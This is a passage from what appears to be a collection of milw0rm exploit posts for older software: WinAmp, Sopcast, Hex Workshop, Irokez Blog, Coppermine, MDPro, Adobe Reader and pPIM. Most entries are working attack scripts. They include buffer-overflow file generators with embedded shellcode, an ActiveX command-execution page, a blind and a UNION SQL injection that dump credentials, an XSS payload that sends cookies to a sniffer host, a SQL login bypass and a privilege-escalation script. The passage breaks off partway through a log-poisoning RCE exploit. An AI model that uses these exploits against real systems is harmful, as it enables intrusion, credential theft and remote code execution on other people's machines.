my $maki_script2 = "\x01\x01\x00\x00\x0B\x00\x67\x65\x74\x53\x6B\x69\x6E\x4E\x61\x6D\x65\x01\x01\x00\x00\x0D\x00\x67\x65\x74\x50\x72\x69\x76\x61\x74".
"\x65\x49\x6E\x74\x01\x01\x00\x00\x0C\x00\x67\x65\x74\x54\x69\x6D\x65\x4F\x66\x44\x61\x79\x01\x01\x00\x00\x0D\x00\x73\x65\x74\x50".
"\x72\x69\x76\x61\x74\x65\x49\x6E\x74\x01\x01\x00\x00\x0A\x00\x6D\x65\x73\x73\x61\x67\x65\x42\x6F\x78\x01\x01\x00\x00\x0F\x00\x69".
"\x6E\x74\x65\x67\x65\x72\x54\x6F\x53\x74\x72\x69\x6E\x67\x01\x01\x00\x00\x0E\x00\x6F\x6E\x53\x63\x72\x69\x70\x74\x4C\x6F\x61\x64".
"\x65\x64\x01\x01\x00\x00\x0E\x00\x67\x65\x74\x53\x63\x72\x69\x70\x74\x47\x72\x6F\x75\x70\x0A\x01\x00\x00\x09\x00\x67\x65\x74\x4F".
"\x62\x6A\x65\x63\x74\x01\x01\x00\x00\x0D\x00\x6F\x6E\x53\x65\x74\x58\x75\x69\x50\x61\x72\x61\x6D\x01\x01\x00\x00\x08\x00\x73\x74".
"\x72\x6C\x6F\x77\x65\x72\x01\x01\x00\x00\x0F\x00\x73\x74\x72\x69\x6E\x67\x54\x6F\x49\x6E\x74\x65\x67\x65\x72\x14\x01\x00\x00\x07".
"\x00\x73\x65\x74\x54\x65\x78\x74\x16\x01\x00\x00\x0B\x00\x73\x65\x74\x58\x6D\x6C\x70\x61\x72\x61\x6D\x14\x01\x00\x00\x0D\x00\x6F".
"\x6E\x54\x65\x78\x74\x43\x68\x61\x6E\x67\x65\x64\x14\x01\x00\x00\x0C\x00\x67\x65\x74\x41\x75\x74\x6F\x57\x69\x64\x74\x68\x14\x01".
"\x00\x00\x0B\x00\x73\x65\x74\x58\x6D\x6C\x50\x61\x72\x61\x6D\x23\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01".
"\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x04\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\xFF\xFF\x00".
"\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x88\x13\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x16\x01\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x01\x00\x0A\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x01\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0D\x00\x00".
"\x00\x07\x00\x00\x00\x0C\x00\x72\x75\x6E\x74\x69\x6D\x65\x63\x68\x65\x63\x6B\x0C\x00\x00\x00\x15\x00\x54\x68\x69\x73\x20\x73\x63".
"\x72\x69\x70\x74\x20\x72\x65\x71\x75\x69\x72\x65\x73\x20\x0D\x00\x00\x00\x1F\x00\x57\x69\x6E\x61\x6D\x70\x20\x35\x2E\x35\x34\x20".
"\x28\x73\x6B\x69\x6E\x20\x76\x65\x72\x73\x69\x6F\x6E\x20\x31\x2E\x33\x34\x29\x0E\x00\x00\x00\x05\x00\x45\x72\x72\x6F\x72\x0F\x00".
"\x00\x00\x00\x00\x11\x00\x00\x00\x05\x00\x44\x45\x42\x55\x47\x18\x00\x00\x00\x04\x00\x74\x65\x78\x74\x19\x00\x00\x00\x05\x00\x6C".
"\x61\x62\x65\x6C\x1A\x00\x00\x00\x04\x00\x6C\x69\x6E\x6B\x1D\x00\x00\x00\x05\x00\x73\x68\x69\x66\x74\x1E\x00\x00\x00\x07\x00\x74".
"\x6F\x6F\x6C\x74\x69\x70\x21\x00\x00\x00\x01\x00\x78\x22\x00\x00\x00\x01\x00\x77\x03\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00".
"\x5F\x01\x00\x00\x00\x00\x00\x00\x0A\x00\x00\x00\xCC\x01\x00\x00\x14\x00\x00\x00\x0F\x00\x00\x00\x7B\x02\x00\x00\x1B\x03\x00\x00".
"\x01\x03\x00\x00\x00\x01\x00\x00\x00\x00\x18\x00\x00\x00\x00\x30\x02\x01\x03\x00\x00\x00\x01\x04\x00\x00\x00\x0C\x01\x03\x00\x00".
"\x00\x01\x05\x00\x00\x00\x0A\x51\x10\xB9\x00\x00\x00\x01\x02\x00\x00\x00\x01\x06\x00\x00\x00\x30\x02\x01\x09\x00\x00\x00\x01\x00".
"\x00\x00\x00\x01\x08\x00\x00\x00\x01\x07\x00\x00\x00\x01\x00\x00\x00\x00\x18\x01\x00\x00\x00\x18\x02\x00\x00\x00\x30\x02\x01\x0A".
"\x00\x00\x00\x01\x00\x00\x00\x00\x18\x03\x00\x00\x00\x30\x02\x01\x0A\x00\x00\x00\x01\x09\x00\x00\x00\x41\x01\x0B\x00\x00\x00\x0C".
"\x01\x09\x00\x00\x00\x01\x0A\x00\x00\x00\x0C\x50\x10\x06\x00\x00\x00\x01\x08\x00\x00\x00\x21\x01\x00\x00\x00\x00\x01\x00\x00\x00".
"\x00\x18\x03\x00\x00\x00\x01\x07\x00\x00\x00\x01\x00\x00\x00\x00\x18\x01\x00\x00\x00\x18\x04\x00\x00\x00\x02\x01\x00\x00\x00\x00".
"\x01\x0F\x00\x00\x00\x01\x06\x00\x00\x00\x01\x0E\x00\x00\x00\x01\x0C\x00\x00\x00\x01\x0D\x00\x00\x00\x40\x18\x05\x00\x00\x00\x02".
"\x01\x08\x00\x00\x00\x21\x01\x06\x00\x00\x00\x21\x01\x01\x00\x00\x00\x21\x03\x10\x00\x00\x00\x01\x00\x00\x00\x00\x01\x0F\x00\x00".
"\x00\x01\x08\x00\x00\x00\x01\x11\x00\x00\x00\x01\x10\x00\x00\x00\x70\x05\x00\x00\x00\x04\x02\x01\x01\x00\x00\x00\x21\x03\x12\x00".
"\x00\x00\x01\x00\x00\x00\x00\x01\x0F\x00\x00\x00\x01\x08\x00\x00\x00\x01\x11\x00\x00\x00\x01\x00\x00\x00\x00\x01\x12\x00\x00\x00".
"\x70\x06\x00\x00\x00\x01\x70\x05\x00\x00\x00\x04\x02\x01\x01\x00\x00\x00\x21\x01\x17\x00\x00\x00\x01\x08\x00\x00\x00\x30\x02\x19".
"\x9C\xFE\xFF\xFF\x11\x06\x00\x00\x00\x01\x01\x00\x00\x00\x21\x01\x16\x00\x00\x00\x01\x00\x00\x00\x00\x70\x08\x00\x00\x00\x00\x30".
"\x02\x01\x13\x00\x00\x00\x01\x16\x00\x00\x00\x01\x18\x00\x00\x00\x70\x09\x00\x00\x00\x01\x30\x02\x01\x14\x00\x00\x00\x01\x16\x00".
"\x00\x00\x01\x19\x00\x00\x00\x70\x09\x00\x00\x00\x01\x30\x02\x01\x15\x00\x00\x00\x01\x16\x00\x00\x00\x01\x1A\x00\x00\x00\x70\x09".
"\x00\x00\x00\x01\x30\x02\x01\x01\x00\x00\x00\x21\x03\x1B\x00\x00\x00\x03\x1C\x00\x00\x00\x01\x02\x00\x00\x00\x10\x06\x00\x00\x00".
"\x01\x01\x00\x00\x00\x21\x01\x00\x00\x00\x00\x01\x1B\x00\x00\x00\x70\x0B\x00\x00\x00\x01\x01\x1D\x00\x00\x00\x08\x10\x17\x00\x00".
"\x00\x01\x17\x00\x00\x00\x01\x00\x00\x00\x00\x01\x1C\x00\x00\x00\x70\x0C\x00\x00\x00\x01\x30\x02\x01\x00\x00\x00\x00\x01\x1B\x00".
"\x00\x00\x70\x0B\x00\x00\x00\x01\x01\x19\x00\x00\x00\x08\x10\x11\x00\x00\x00\x01\x14\x00\x00\x00\x01\x1C\x00\x00\x00\x70\x0D\x00".
"\x00\x00\x01\x02\x01\x00\x00\x00\x00\x01\x1B\x00\x00\x00\x70\x0B\x00\x00\x00\x01\x01\x1A\x00\x00\x00\x08\x10\x16\x00\x00\x00\x01".
"\x15\x00\x00\x00\x01\x1C\x00\x00\x00\x01\x1E\x00\x00\x00\x70\x0E\x00\x00\x00\x02\x02\x01\x01\x00\x00\x00\x21\x03\x1F\x00\x00\x00".
"\x01\x02\x00\x00\x00\x10\x06\x00\x00\x00\x01\x01\x00\x00\x00\x21\x01\x20\x00\x00\x00\x01\x14\x00\x00\x00\x70\x10\x00\x00\x00\x00".
"\x01\x17\x00\x00\x00\x40\x30\x02\x01\x13\x00\x00\x00\x01\x00\x00\x00\x00\x01\x20\x00\x00\x00\x70\x06\x00\x00\x00\x01\x01\x21\x00".
"\x00\x00\x70\x11\x00\x00\x00\x02\x02\x01\x13\x00\x00\x00\x01\x00\x00\x00\x00\x01\x20\x00\x00\x00\x4C\x70\x06\x00\x00\x00\x01\x01".
"\x22\x00\x00\x00\x70\x11\x00\x00\x00\x02\x02\x01\x01\x00\x00\x00\x21\x02\x01\x01\x00\x00\x00\x21\x02\x01\x01\x00\x00\x00\x21\x02".
"\x01\x01\x00\x00\x00\x21\x02\x01\x01\x00\x00\x00\x21\x02\x01\x01\x00\x00\x00\x21\x02\x01\x01\x00\x00\x00\x21";

# win32_exec - EXITFUNC=process CMD=calc.exe Size=338 Encoder=Alpha2 http://metasploit.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x48\x49\x49\x49".
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x41".
"\x58\x30\x41\x31\x50\x41\x42\x6b\x41\x41\x51\x41\x32\x41\x41\x32".
"\x42\x41\x30\x42\x41\x58\x38\x41\x42\x50\x75\x69\x79\x4b\x4c\x4d".
"\x38\x70\x44\x55\x50\x45\x50\x75\x50\x6e\x6b\x77\x35\x67\x4c\x6c".
"\x4b\x43\x4c\x45\x55\x74\x38\x55\x51\x58\x6f\x4e\x6b\x52\x6f\x45".
"\x48\x4e\x6b\x43\x6f\x65\x70\x76\x61\x58\x6b\x50\x49\x4e\x6b\x36".
"\x54\x4e\x6b\x75\x51\x4a\x4e\x56\x51\x6b\x70\x4c\x59\x6c\x6c\x6e".
"\x64\x59\x50\x70\x74\x63\x37\x69\x51\x78\x4a\x56\x6d\x45\x51\x5a".
"\x62\x78\x6b\x6c\x34\x67\x4b\x51\x44\x36\x44\x74\x44\x30\x75\x4d".
"\x35\x6c\x4b\x31\x4f\x31\x34\x65\x51\x5a\x4b\x52\x46\x4c\x4b\x74".
"\x4c\x62\x6b\x6c\x4b\x61\x4f\x77\x6c\x35\x51\x7a\x4b\x6c\x4b\x57".
"\x6c\x4c\x4b\x37\x71\x5a\x4b\x4c\x49\x73\x6c\x77\x54\x47\x74\x38".
"\x43\x50\x31\x6b\x70\x32\x44\x4e\x6b\x61\x50\x66\x50\x4f\x75\x6b".
"\x70\x51\x68\x44\x4c\x6c\x4b\x77\x30\x36\x6c\x6e\x6b\x70\x70\x77".
"\x6c\x6c\x6d\x6c\x4b\x50\x68\x73\x38\x6a\x4b\x74\x49\x6c\x4b\x4b".
"\x30\x4c\x70\x63\x30\x73\x30\x45\x50\x4e\x6b\x45\x38\x35\x6c\x53".
"\x6f\x35\x61\x4c\x36\x75\x30\x71\x46\x6d\x59\x4a\x58\x4b\x33\x4f".
"\x30\x31\x6b\x70\x50\x43\x58\x61\x6e\x6e\x38\x4b\x52\x32\x53\x31".
"\x78\x4c\x58\x4b\x4e\x4c\x4a\x46\x6e\x50\x57\x6b\x4f\x5a\x47\x50".
"\x63\x31\x71\x30\x6c\x35\x33\x44\x6e\x63\x55\x44\x38\x35\x35\x37".
"\x70\x41";

my $overflow1 = "\x41" x 314;
my $overflow2 = "\x41" x 128;
my $overflow3 = "\x90" x 8;
my $sehjmp = "\xeb\x12\x41\x41";
my $sehret = "\x11\x10\xf0\x14"; #0x14f01011 POP, POP, RET WinAmp's aacPlusDecoder.w5s [Universal Address]
my $eip = "\xf8\x99\x01\x12"; #0x120199F8 JMP ESP
my $nopsled = "\x90" x 12;

print "[x] WinAmp <= 5.541 Skin Universal Buffer Overflow Exploit\n";
print "[x] Discovered and Exploited by SkD (skdrat@ hotmail.com)\n";
print "[x] Creating skin dir\n";
rmdir("SkD's Skin");
mkdir("SkD's Skin");
print "[x] Creating skin.xml file\n";
open(my $skin_xml_file, ">SkD's Skin\\skin.xml");
print $skin_xml_file $skin_xml;
close $skin_xml_file;
print "[x] Creating malicious MAKI script\n";
open(my $maki_script_file, ">SkD's Skin\\s.maki");
binmode $maki_script_file;
print $maki_script_file $maki_script1.
$overflow1.$sehjmp.$sehret.$overflow3.$eip.$nopsled.$shellcode.$overflow2.
$maki_script2;
close $maki_script_file;

print "[x] Universal exploit created!\n";

# milw0rm

Sopcast SopCore Control (sopocx.ocx) Command Execution Exploit

-- Sopcast SopCore Control (sopocx.ocx 3.0.3.501) SetExternalPlayer()
user assisted remote code execution poc
by Nine:Situations:Group::surfista (IE7/8)

our site: http://retrogod.altervista.org/
software site: http://www.sopcast.org/

Through the SetExternalPlayer() method and the ExternalPlayer property is possible to associate an arbitrary executable to the "external player" button (for clearness see http://www.sopcast.com/docs/ where the player control buttons are showed) which opens Windows Media Player by default. When the user click this button, the executable is launched without prompts Also this value is stored in config.xml, inside the sopcast local folder for further use, ex. with the sopcast client application Note: this control is safe for scripting and safe for initialization
--
HTML
HEAD
script language="Javascript" type="text/JavaScript"
window.onload=function()
{
SopPlayer.InitPlayer();
//SopPlayer.SetExternalPlayer("\\\\192.168.0.1\\c$\\PATH\\TO\\MALICIOUS_PROGRAM.EXE");
SopPlayer.SetExternalPlayer("c:\\WINDOWS\\system32\\calc.exe");
SopPlayer.SetSopAddress("sop://broker.sopcast.com:3912/6002"); //A LIVE CHANNEL ...
SopPlayer.SetChannelName("CCTV5");
SopPlayer.Play();
}
/script
/HEAD
BODY
OBJECT
ID="SopPlayer"
name="SopPlayer"
CLASSID=clsid:8FEFF364-6A5F-4966-A917-A3AC28411659
HEIGHT=375
WIDTH=375
/OBJECT
/BODY
/HTML

# milw0rm

Hex Workshop v6 (.HEX File) Local Code Execution Exploit

#!/usr/bin/perl -w
# Hex Workshop <= v6 (.hex) File Local Code Execution
# Discovred by : Security^Ghost
# Exploited by : DATA_SNIPER
# Exploit Tested on WindoZ XP SP2 FR.
# for more information vist my blog:http://datasniper.arab4services.net/
# the exploit it's so weird ;),take look at the shellcode,and remember it's not AlphaNum.

print "==========================================================================\n";
print "Hex Workshop v6 (.HEX File) Local Code Execution\n";
print "Exploited by DATA_SNIPER\n";
print "Greetz to: arab4services team and AT4RE Team\n";
print "for more: http://datasniper.arab4services.net/\n";
print "===================================================================== \n";
$junk=":0000FC\x0D\x0A:";
$shelladd="B8EE1300D0EE1300C8EE1300AAAAAAAAC8EE1300C8EE1300";#shell address in the stack and some address junk for make the exploit work as well.
#some times the stack address change to "0012xxxx" so you can use this instead
# $shelladdrr="B8EE1200D0EE1200C8EE1200AAAAAAAAC8EE1200C8EE1200"
$nop="909090909090909090909090909090";# strange noop xD
#shellcode from metasploit,execute calc.exe
#shellcode copied as it's and when the data being treated will be converted to HEX format.
$shellcode="33c9b11ebbf01a028cdaccd97424f45a83c204315a0b035afbf8f77013b8f788e3cabdb468b038bd6fa6c87277b390ac86286726bc2579d68df9e38a693967d4b07085dbf06e62e0a0548f62ad1ed0a82cca893b2247dd6326560a104ad3cdccfbbfe9163860c3e0dec9478658c60cd868ad63c5dd3aebfd94c56f3dcc6518c0c864ab547096c6abd79830d0b60adc17";
$buff='A' x 248;
$sploit =$junk.$buff.$shelladd.$nop.$shellcode;
$fle = "Xploit.hex" ;
open($data, ">>$fle") or die "Cannot open $data";
print $data $sploit;
close($data);
print "$fle has been created\n";
print "open it in HexWorkshop file->import.\n";

# milw0rm

Irokez BLog 0.7.3.2 (XSS/RFI/BSQL) Multiple Remote Vulnerabilities

Application: Irokez Blog
------------
Website: http://irokez.org
--------
Version: All (0.7.3.2)
--------
Date: 11-02-2009
-----

[ BLIND SQL-INJECTION ]

[ SOME VULNERABLE CODE ]

/classes/table.class.php

...
if ($is_trans) {
$query = "select t.*, m.* from {$this->_name} m"
. " left join {$this->_name}{$this->_trans} t on (t.{$this->_item} = m.id)"
. " where m.id = '$id' group by {$this->_lang}";
} else {
$query = "select * from {$this->_name} where id = '$id'";
}
$result = $this->db->exeQuery($query);

===>>> Exploit:

http://irokez/blog/life/15' and ascii(substring((select concat(login,0x3a,pass) from icm_users limit 0,1),1,1)) between 100 and '115
http://irokez/blog/life/15' and ascii(substring((select concat(login,0x3a,pass) from icm_users limit 0,1),1,1))='114
etc

[ ACTIVE XSS ]

in comments.

[ SOME VULNERABLE CODE ]

/scripts/blog/output-post.inc.php

input id="name" type="text" class="text" name="name" value="">"
label for="name">

input id="email" type="text" class="text" name="email" value="">"
label for="email">

input id="site" type="text" class="text" name="site" value="">"
label for="site">
...
textarea id="message" name="message" class="textarea">>> Exploit:

script img = new Image(); img.src = "http://sniffer/sniff.jpg?"+document.cookie; script

[ INCLUDE ]

[ SOME VULNERABLE CODE ]

/thumbnail.php
...
ob_start();
switch ($module) {
case 'gallery':
include_once $GLOBALS['PTH']['classes'] . 'gallery.class.php';
$Obj = new TBL_Gallery;
$image_path = $GLOBALS['PTH']['gallery'] . getVar($Obj->select($id), 'src');
break;
default:
$image_path = '';
}

===>>> Exploit:

http://irokez/modules/tml/block.tag.php?GLOBALS[PTH][classes]=[include]
http://irokez/scripts/sitemap.scr.php?GLOBALS[PTH][classes]=[include]
http://irokez/thumbnail.php?module=gallery&GLOBALS[PTH][classes]=[include]
http://irokez/spaw/spaw_control.class.php?GLOBALS[spaw_root]=[include]

Author: Eugene "Corwin" Ermakov
-------

Contact: corwin88[dog]mail[dot]ru
--------

# milw0rm

Coppermine Photo Gallery <= 1.4.20 (IMG) Privilege Escalation Exploit

#!/usr/bin/perl
#inphex - inphex0 at gmail dot com
#based on http://milw0rm.com/exploits/8114 - found by StAkeR
#In case this does not work check out pos(Line 80) and find another value for it
use IO::Socket;
use LWP::UserAgent;
use LWP::Simple;
use HTTP::Cookies;
$_1 = shift; #[HOST]
$h = ($_1 eq ""?($n = 0):($n = 1));
$_2 = shift; #[PATH]
$_3 = shift; #[ID]
$_4 = shift; #[ALBUMNUM]
$_5 = shift; #[USER]
$_6 = shift; #[PASS]
$d_p = 80;
if (!$_1 || !$_2 ||!$_3 ||!$_4 ||!$_5 ||!$_6) {
print "perl coppermine host /path/ youruserid albumnum yourusername yourpassword\n";
print "perl coppermine host.com /path/ 3 2 inphex 123456";
exit;
}
if ($h) {
$socket = IO::Socket::INET->new(Proto => "tcp",PeerAddr => $_1, PeerPort => $d_p) or die("[-]ERROR");
print $socket "GET $_2 HTTP/1.1\n";
print $socket "Host: $_1\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";

while ($answer = <$socket>) {
$f_answer = $f_answer.$answer;
}
$url = &gen_url($_1,$_2,$_3);
if ($url) {
$code = &gen_code($url);
$res = &_send($_1,$_2,$_3,$_4,$code,$_5,$_6);
}

}

sub gen_url($$$) {
$h = shift;
$p = shift;
$i = shift;
$url = "http://".$_1.$_2."delete.php?id=u".$i."&u".$i."=&action=change_group&what=user&new_password=&group=1&delete_files=no&delete_comments=no";
return $url;
}
sub gen_code($) {
$url = shift;
$code = "yoyoyo[img]".$url."[/img]";
return $code;
}
sub _send($$$$$$$) {
$h = "http://".shift;
$p = shift;
$i = shift;
$aid = shift;
$co = shift;
$u = shift;
$pass = shift;

$xpl = LWP::UserAgent->new() or die;
$cookie_jar = HTTP::Cookies->new();
$xpl->cookie_jar( $cookie_jar );

$login = $xpl->post($h.$p.'login.php?referer=index.php',
Content => [
"username" => $u,
"password" => $pass,
"submitted" => "Login",
],);
if($cookie_jar->as_string) {
$c = 1;
print "[+]Connected\n";
print "[+]Logged in\n";
}else {
$c = 0;
}

if ($c) {
$con = get("".$h.$p."displayimage.php?album=".$aid."&pos=0"); #pos may be changed
if ($con =~m/addfav\.php\?pid=(.*?)\&amp/) {
$p_id = $1;

}

}

$se = $xpl->post($h.$p.'db_input.php',Content_Type => 'form-data',
Content => [
'msg_author' => $u,
'msg_body' => $co,
'event' => 'comment',
'pid' => $p_id,
'submit' => "OK",
],);
print "[+]Comment sent\n";
print "[/]Waiting for admin to view\n";
$| = 0;
while (1) {
sleep(20);
syswrite STDOUT,"-";
$xpl1 = LWP::UserAgent->new() or die;
$cookie_jar1 = HTTP::Cookies->new();
$xpl1->cookie_jar( $cookie_jar1 );
$_con = get("".$h.$p."logout.php?referer=index.php");
$login = $xpl1->post($h.$p.'login.php?referer=index.php',
Content => [
"username" => $u,
"password" => $pass,
"submitted" => "Login",
],);

$const = $xpl1->get($h.$p."index.php");
if ($const->as_string =~m/Config/) {
print "\n[+]You just gained Admin Privileges";
exit;
}
}
}

# milw0rm

DesignerfreeSolutions Newsletter Manager Pro Auth Bypass Vulnerability

Author : ByALBAYX

Website : WWW.C4TEAM.ORG

From : Turkish

Script :Newsletter Manager Plus.Attach
S.Site :http://designerfreesolutions.com

Dty :http://designerfreesolutions.com/web/viewitem.asp?idproduct=1025

Demo :http://designerfreesolutions.com/newsletterattach

Price :47.00 USD

Exploit:

Username: ' or '
Password: ' or '


http://c4team.org /Newsletter Manager /admin/index.asp

Demo:

http://www.designerfreesolutions.com/newsletterattach/admin/index.asp

vs..
Greetz For

Str0ke & Kralman & Mrabah12R & K3vin Mitnick & web-terrorist & Silent & SpotGang

Derdimi dinledim, derdimden iGRENDiM...
Onun derdini gordum, derdime iMRENDiM...
FilistiN


# milw0rm

MDPro Module My_eGallery (pid) Remote SQL Injection Exploit

#!/usr/bin/perl

read;

MDPro Module My_eGallery Remote SQL Injection Exploit
by s3rg3770 && yeat - staker[at]hotmail[dot]it

dork: inurl:module=My_eGallery pid
note: works regardless of php.ini settings.

read

use IO::Socket;


my ($host,$path,$id) = @ARGV;


if (@ARGV != 3)
{
print "\n+-------------------------------------------------------+\n".
"\r| MDPro Module My_eGallery Remote SQL Injection Exploit |\n".
"\r+-------------------------------------------------------+\n".
"\rby yeat - staker[at]hotmail[dot]it\n".
"\nUsage: perl $0 host /path/ id\n".
"\nhost: localhost\n".
"\rpath: /mdpro/\n".
"\rid: 2\n";
exit;
}
else
{
my ($packet,$inject,$content);

$inject = "index.php?module=My_eGallery&do=showpic&pid=-1".
"/**/AND/**/1=2/**/UNION/**/ALL/**/SELECT/**/0".
",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,concat(0x3C7".
"230783E,pn_uname,0x3a,pn_pass,0x3C7230783E),0".
",0,0/**/FROM/**/md_users/**/WHERE/**/pn_uid=$id/*";

$socket = new IO::Socket::INET(
PeerAddr => $host,
PeerPort => 80,
Proto => 'tcp'
) or die $!;


$packet .= "GET /$inject HTTP/1.1\r\n";
$packet .= "Host: $host\r\n";
$packet .= "User-Agent: Lynx (textmode)\r\n";
$packet .= "Connection: close\r\n\r\n";

$socket->send($packet);

while (<$socket>) {
$content .= $_;
}

close($socket);

if ($content =~ /(.+?)/i) {
print "Exploit Successful: $1\n";
}
else {
print "Exploit Failed.\n";
}
}

# milw0rm

Adobe Acrobat Reader JBIG2 Local Buffer Overflow PoC #2 0day

#!/usr/bin/perl
# k`sOSe 02/22/2009

# http://vrt-sourcefire.blogspot.com/2009/02/have-nice-weekend-pdf-love.html

my $size = "\x40\x00";
my $factor = "ABCD";
my $data = "A" x 8314;


print pdf();

sub pdf()
{

"%PDF-1.5\n" .
"%\xec\xf5\xf2\xe1\xe4\xef\xe3\xf5\xed\xe5\xee\xf4\n" .
"3 0 \n" .
"xref\n" .
"3 16\n" .
"0000000023 00000 n \n" .
"0000000584 00000 n \n" .
"0000000865 00000 n \n" .
"0000001035 00000 n \n" .
"0000001158 00000 n \n" .
"0000001287 00000 n \n" .
"0000001338 00000 n \n" .
"0000001384 00000 n \n" .
"0000002861 00000 n \n" .
"0000003637 00000 n \n" .
"0000005126 00000 n \n" .
"0000005173 00000 n \n" .
"0000005317 00000 n \n" .
"0000005370 00000 n \n" .
"0000005504 00000 n \n" .
"0000000714 00000 n \n" .
"trailer\n" .
"< ]/Size 19/Prev 10218>>\n" .
"startxref\n" .
"0\n" .
"%%EOF\n" .
" \n" .
"4 0 obj\n" .
"<<<>>>>>\n" .
"endobj\n" .
" \n" .
"5 0 obj\n" .
"<<<>>>/Contents 6 0 R/Parent 1 0 R>>\n" .
"endobj\n" .
"6 0 obj\n" .
"<>\n" .
"stream\n" .
"x\x9c\xe3*T031P\x00A\x13\x0b\x08\x9d\x9c\xab\xa0\xef\x99k``\xa8\xe0\x92\xaf\x10\xc8\x85[\x81\x11!\x05\xc6\x84\x14\x98\xc0\x14\xc0\$\@\xb4\x05\xb2\n" .
"S\xb0\n" .
"\x00J\x15#,\n" .
"endstream\n" .
"endobj\n" .

"12 0 obj\n" .
"<>\n" .
"stream\n" .
"\x00\x00\x00\x01" . $size . $factor . "\x13" . $data . "endstream\n" .
"endobj\n" .
"13 0 obj\n" .
"<>\n" .
"endobj\n" .
"14 0 obj\n" .
"<>\n" .
"stream\n" .
"\x00\n" .
"endstream\n" .
"endobj\n" .

"1 0 obj\n" .
"<>\n" .
"endobj\n" .
"xref\n" .
"0 3\n" .
"0000000000 65535 f \n" .
"0000009988 00000 n \n" .
"0000010039 00000 n \n" .
"trailer\n" .
"< ]/Size 3>>\n" .
"startxref\n" .
"104\n" .
"%%EOF\n";

}

# milw0rm

pPIM 1.01 (notes.php id) Remote Command Execution Exploit

#!/usr/bin/perl
####################################################################
# pPIM 1.01 (notes.php id) Remote Command Execution Exploit
# url: http://www.phlatline.org/docs/files/ppim.zip
#
# Author: Jose Luis Gongora Fernandez (a.k.a) JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://www.hack0wn.com/
# team: Spanish Hackers Team - [SHT]
#
# thanks for the base code: CWH Underground
# but I changed many things and fix bugs.
#
# Hack0wn Security Project!!
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
####################################################################
# OUTPUT: (tested on localhost)
#
# Trying to Inject the Code...
# Successfully injected in ../../../../../../../var/log/apache2/access.log
#
# [shell]:~$ id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# [shell]:~$ uname -a
# Linux h4x0rz 2.6.18-6-686 #1 SMP Sat Dec 27 09:31:05 UTC 2008 i686 GNU/Linux
# [shell]:~$ exit
# joss@h4x0rz:~/Desktop$


use LWP::UserAgent;
use IO::Socket;
use LWP::Simple;


@apache=(
"../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../var/www/logs/access_log",
"../../../../../../../var/www/logs/access.log",
"../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../var/log/apache/access_log",
"../../../../../../../var/log/apache2/access_log",
"../../../../../../../var/log/apache/access.log",
"../../../../../../../var/log/apache2/access.log",
"../../../../../../../var/log/access_log",
"../../../../../../../var/log/access.log",
"../../../../../../../var/www/logs/error_log",
"../../../../../../../var/www/logs/error.log",
